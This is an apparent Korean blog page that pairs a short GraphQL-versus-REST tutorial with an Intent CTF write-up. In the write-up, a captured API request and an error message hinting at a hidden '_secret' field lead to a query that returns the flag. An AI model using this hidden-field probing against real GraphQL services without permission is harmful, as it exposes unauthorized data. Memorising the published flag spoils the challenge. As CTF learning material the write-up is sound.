GraphQL

GraphQL 즉, GQL은 페이스북에서 제작한 언어로 최근 입지를 다져가고 있는 언어입니다.

API를 만들 때 사용하는 쿼리언어로 쿼리를 받을 때도 사용하기도 합니다.

GQL은 SQL(Structed Query Language)과 마찬가지로 쿼리 언어이며 REST API와 비교되곤 합니다..

 

  • REST API에서는 Resource에 대한 형태 정의와 데이터 요청 방법에 따라 연결되지만 , GraphQL에서는 Resource에 대한 형태 정의와 데이터 요청이 분리 되어 있습니다

이를 해석하면 Rest API에서는 URI마다 하는것이 규격에 맞게 정의 되어 있지만 GrpahQL에서는 조금더 유연하게 작업이 수행된다고 보면 됩니다.

 

 

Rest 방식의 경우 Rest는 각각의 Resource를 URL의 끝점으로 정의하며 이 해당 끝점은 

특정 HTTP Method가 되며 요청을 하면 데이터가 검색됩니다.

 

Rest API GET student_name/1

{
	"first name": "Ra",
	"name": {
		"middleName": "vi",
		"lastName": "dus"
	}
}

 

 

하지만 GQL은 Resource의 유형과 가져오는 방식이 완전 분리되어 있습니다.

type first name {
	id: ID
	fname: String
}
type name {
	id: ID
	firstName: String
	lastName: String
}

 

이처럼 정의만 해두면 클라이언트 에서 GQL은 저 firstname과 name에 접근할 수 있도록 Query라는 타입을 사용하여 접근합니다.

{firstname(id : "1") { fname, name { middlename, lastname}}}

이런식으로 좀 생소한 쿼리 구문을 사용해 데이터를 가져옵니다.

 

이렇듯 뭔가 유사하지만 차이가 분명한 이 두 query 언어는 상황에 따라 선호되는게 다릅니다.

 

일례로 받아와야 하는 항목들이 많고 규격화 되어있을 경우에는 인자를 하나하나 넣어주는 GQL보다는 Rest API를 선호합니다.

 

Rest API와 GraphQL의 특성을 하나로 정리하자면 아래와 같습니다.

 

GraphQL의 구조

GQL은 query와 mutation 이 두가지로 역할을 나눈다는 점이 중요합니다.

1. query : 데이터를 읽는데 사용

2. mutation : 데이터를 삭제, 추가 등 변조하는데 사용

 

또한 GQL query에는 변수라는 개념이 존재합니다.

 

https://snowtooth.moonhighway.com/

이곳에서 실습 한번 진행해보도록 하겠습니다.

'Basic Concepts > Web' 카테고리의 다른 글

"X"series HTTP Headers  (0) 2023.05.24
Cookie Secure& HTTP Only setting  (0) 2020.04.24
DOM(Document Object Model)  (0) 2020.04.01
생각날때마다 끄적이는 웹 공격 대응방법  (0) 2020.03.05
XSS (Cross Site Script)  (0) 2020.02.26

당신의 문제는 무엇입니까?
당신의 "소중한" CTF에서 내 아름답고 혁신적인 페이지를 어떻게 승인하지 않았습니까?
모든 작업이 완료되었습니다. 아마도 나는 그래픽을 추가할 수 있을 것입니다.

 

해당 URL에 접속할 경우 다음과 같이 강의 시간표 같은 항목을 확인할 수 있습니다.

그 외에는 별다른 내용이 없기에 웹 프록시툴을 사용하여 패킷을 잡아 확인해 보았습니다.

 

POST /api/v1/ HTTP/2
Host: graphics.chal.intentsummit.org
Cookie: intent-ctf-session=2a914d13fe5006489d427bf984179053
Content-Length: 149
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://graphics.chal.intentsummit.org
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://graphics.chal.intentsummit.org/
Accept-Encoding: gzip, deflate
Accept-Language: he-IL,he;q=0.9,en-US;q=0.8,en;q=0.7

{"operationName":"ExampleQuery","variables":{},"query":"query ExampleQuery {\n  talks {\n    time\n    title\n    speaker\n    __typename\n  }\n}\n"}

몇번의 검색을 통해 밑에 있는 구문이 GQL이라는 것을 알아냈고 이문제는 GQL을 이용하는 문제임을 알게 되었습니다.

 

 

{"errors":[{"message":"Cannot query field \"secret\" on type \"Query\". Did you mean \"_secret\"?","extensions":{"code":"GRAPHQL_VALIDATION_FAILED","exception":{"stacktrace":["GraphQLError: Cannot query field \"secret\" on type \"Query\". Did you mean \"_secret\"?","    at Object.Field (/usr/src/app/node_modules/graphql/validation/rules/FieldsOnCorrectTypeRule.js:48:31)","    at Object.enter (/usr/src/app/node_modules/graphql/language/visitor.js:323:29)","    at Object.enter (/usr/src/app/node_modules/graphql/utilities/TypeInfo.js:370:25)","    at visit (/usr/src/app/node_modules/graphql/language/visitor.js:243:26)","    at validate (/usr/src/app/node_modules/graphql/validation/validate.js:69:24)","    at validate (/usr/src/app/node_modules/apollo-server/node_modules/apollo-server-core/dist/requestPipeline.js:185:39)","    at processGraphQLRequest (/usr/src/app/node_modules/apollo-server/node_modules/apollo-server-core/dist/requestPipeline.js:90:34)","    at processTicksAndRejections (node:internal/process/task_queues:96:5)","    at async processHTTPRequest (/usr/src/app/node_modules/apollo-server/node_modules/apollo-server-core/dist/runHttpQuery.js:187:30)"]}}}]}

query injection을 시도한 결과 'secret'이 의심스러워 보입니다.

 

 

{"operationName":"ExampleQuery","variables":{},"query":"query ExampleQuery { _secret { flag } }\n"}

이를 이용하여 쿼리를 재구성 해 보았습니다.

 

그 결과 INTENT{d1d_y0u_m34n_flag}를 획득할 수 있었습니다.

 

GraphQL에 대한 자세한 내용은 https://ravidusash.tistory.com/148 이곳에서 다루도록 하겠습니다.

'Challenge > CTF' 카테고리의 다른 글

[DefCamp CTF 21-22] para-code  (0) 2022.02.15
[DefCamp CTF 21-22] web-intro  (0) 2022.02.15
[Intent CTF] Etulosba  (0) 2021.11.25
[Intent CTF] Careers  (0) 2021.11.22
[Intent CTF] Door (un)Locked  (0) 2021.11.22

+ Recent posts